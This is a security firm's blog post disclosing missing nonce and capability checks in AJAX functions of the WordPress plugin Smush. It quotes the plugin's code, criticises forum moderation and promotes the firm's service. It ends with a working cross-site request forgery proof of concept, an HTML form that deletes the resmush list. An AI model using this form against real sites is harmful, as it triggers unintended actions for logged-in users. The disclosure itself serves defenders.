1+ Million Install WordPress Plugin From Security Plugin Developer WPMU DEV is Lacking Basic Security

Yesterday a new version of the WordPress plugin Smush, which has 1+ milllion active installs according to wordpress.org, with a changelog entry indicating that security fix was being made:

Fix: XSS vulnerability

On the page for that plugin, the developer, WPMU DEV, is promoting another of their plugins, the security plugin Defender. You would expect that the developer of a security plugin would be careful about security, but that isn’t what we found when we to try see if we could confirm that a vulnerability had been fixed, as at least one of the customers of our main service is using the plugin.

Looking at the changes in that version, we found that the developer isn’t using WordPress built-in security functions when those seem to be appropriate. For example, in the function wp_ajax_frash_act() in the file core/external/free-dashboard/module.php was changed from this:

public function wp_ajax_frash_act() {
	$plugin = filter_input( INPUT_POST, 'plugin_id', FILTER_SANITIZE_STRING );
	$type   = filter_input( INPUT_POST, 'type', FILTER_SANITIZE_STRING );
 
	$this->mark_as_done( $plugin, $type, 'ok' );
 
	wp_die();
}

to this:

public function wp_ajax_frash_act() {
	$plugin = filter_input( INPUT_POST, 'plugin_id', FILTER_SANITIZE_SPECIAL_CHARS );
	$type   = filter_input( INPUT_POST, 'type', FILTER_SANITIZE_SPECIAL_CHARS );
 
	$this->mark_as_done( $plugin, $type, 'ok' );
 
	wp_die();
}

The function sanitize_text_field() seems like it would be the relevant function to use there.

What seemed more concerning about that is that is an AJAX accessible function, so in most instances there should be a capabilities check and a nonce check used there to restrict access to its functionality. Looking over the rest of the plugin, we found that the handling of the security of AJAX functions was all over the place. In situations where it looks like both of those checks should exist, sometimes they have both, sometimes they have only one, sometimes they have neither. They don’t even have the same format across them. That means that attackers with access to low-level WordPress accounts could access functionality they are not intended to access. Also, attackers could cause WordPress users who are intended to have access to take action they didn’t intend to.

For example, in the file /app/class-ajax.php, a function to “smush” a single image includes a capability check, but not a nonce check:

public function smush_manual() {
	// Turn off errors for ajax result.
	@error_reporting( 0 );
 
	if ( ! current_user_can( 'upload_files' ) ) {
		wp_send_json_error(
			array(
				'error_msg' => __( "You don't have permission to work with uploaded files.", 'wp-smushit' ),
			)
		);
	}
 
	if ( ! isset( $_GET['attachment_id'] ) ) {
		wp_send_json_error(
			array(
				'error_msg' => __( 'No attachment ID was provided.', 'wp-smushit' ),
			)
		);
	}
 
	$attachment_id = (int) $_GET['attachment_id'];
 
	/**
	 * Filter: wp_smush_image.
	 *
	 * Whether to smush the given attachment ID or not.
	 *
	 * @param bool $status         Smush all attachments by default.
	 * @param int  $attachment_id  Attachment ID.
	 */
	if ( ! apply_filters( 'wp_smush_image', true, $attachment_id ) ) {
		$error = Helper::filter_error( esc_html__( 'Attachment Skipped - Check `wp_smush_image` filter.', 'wp-smushit' ), $attachment_id );
		wp_send_json_error(
			array(
				'error_msg'    => sprintf( '<p class="wp-smush-error-message">%s</p>', $error ),
				'show_warning' => (int) WP_Smush::get_instance()->core()->mod->smush->show_warning(),
			)
		);
	}
 
	// Pass on the attachment id to smush single function.
	WP_Smush::get_instance()->core()->mod->smush->smush_single( $attachment_id );

While another function in the same file, which deletes resmush lists, doesn’t include either:

public function delete_resmush_list() {
	$stats = array();
 
	$key = ! empty( $_POST['type'] ) && 'nextgen' === $_POST['type'] ? 'wp-smush-nextgen-resmush-list' : 'wp-smush-resmush-list';
 
	// For media Library.
	if ( 'nextgen' !== $_POST['type'] ) {
		$resmush_list = get_option( $key );
		if ( ! empty( $resmush_list ) && is_array( $resmush_list ) ) {
			$stats = WP_Smush::get_instance()->core()->get_stats_for_attachments( $resmush_list );
		}
	} else {
		// For NextGen. Get the stats (get the re-Smush IDs).
		$resmush_ids = get_option( 'wp-smush-nextgen-resmush-list', array() );
 
		$stats = WP_Smush::get_instance()->core()->nextgen->ng_stats->get_stats_for_ids( $resmush_ids );
 
		$stats['count_images'] = WP_Smush::get_instance()->core()->nextgen->ng_admin->get_image_count( $resmush_ids, false );
	}
 
	// Delete the resmush list.
	delete_option( $key );
	wp_send_json_success( array( 'stats' => $stats ) );
}

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will delete the resmush list, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=delete_resmush_list" method="POST">
<input type="hidden" name="type" value="wp-smush-resmush-list" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>